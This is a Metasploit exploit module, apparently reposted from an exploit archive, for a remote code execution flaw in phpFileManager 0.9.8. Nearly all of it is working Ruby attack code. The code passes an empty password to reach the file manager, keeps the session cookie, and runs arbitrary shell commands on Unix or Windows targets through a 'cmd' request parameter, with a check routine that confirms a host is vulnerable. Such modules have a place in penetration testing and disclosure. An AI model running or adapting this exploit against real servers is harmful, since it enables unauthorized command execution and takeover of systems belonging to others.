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phpFileManager 0.9.8 Remote Code Execution

Posted on 09 December 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
 super(update_info(info,
 'Name' => 'phpFileManager 0.9.8 Remote Code Execution',
 'Description' => %q{
 This module exploits a remote code execution vulnerability in phpFileManager
 0.9.8 which is a filesystem management tool on a single file.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'hyp3rlinx', # initial discovery
 'Jay Turla' # msf
 ],
 'References' =>
 [
 [ 'EDB', '37709' ],
 [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'Space' => 2000,
 'DisableNops' => true,
 'Compat' =>
 {
 'PayloadType' => 'cmd'
 }
 },
 'Platform' => %w{ unix win },
 'Arch' => ARCH_CMD,
 'Targets' =>
 [
 ['phpFileManager / Unix', { 'Platform' => 'unix' } ],
 ['phpFileManager / Windows', { 'Platform' => 'win' } ]
 ],
 'DisclosureDate' => 'Aug 28 2015',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),
 ],self.class)
 end

 def check
 txt = Rex::Text.rand_text_alpha(8)
 res = http_send_command("echo #{txt}")

 if res && res.body =~ /#{txt}/
 return Exploit::CheckCode::Vulnerable
 else
 return Exploit::CheckCode::Safe
 end
 end

 def push
 uri = normalize_uri(target_uri.path)

 # To push the Enter button
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => uri,
 'vars_post' => {
 'frame' => '3',
 'pass' => '' # yep this should be empty
 }
 })

 if res.nil?
 vprint_error("#{peer} - Connection timed out")
 fail_with(Failure::Unknown, "Failed to trigger the Enter button")
 end

 if res && res.headers && res.code == 302
 print_good("#{peer} - Logged in to the file manager")
 cookie = res.get_cookies
 cookie
 else
 fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
 end
 end

 def http_send_command(cmd)
 cookie = push
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path),
 'cookie' => cookie,
 'vars_get' => {
 'action' => '6',
 'cmd' => cmd
 }
 })
 unless res && res.code == 200
 fail_with(Failure::Unknown, "Failed to execute the command.")
 end
 res
 end

 def exploit
 http_send_command(payload.encoded)
 end
end

 

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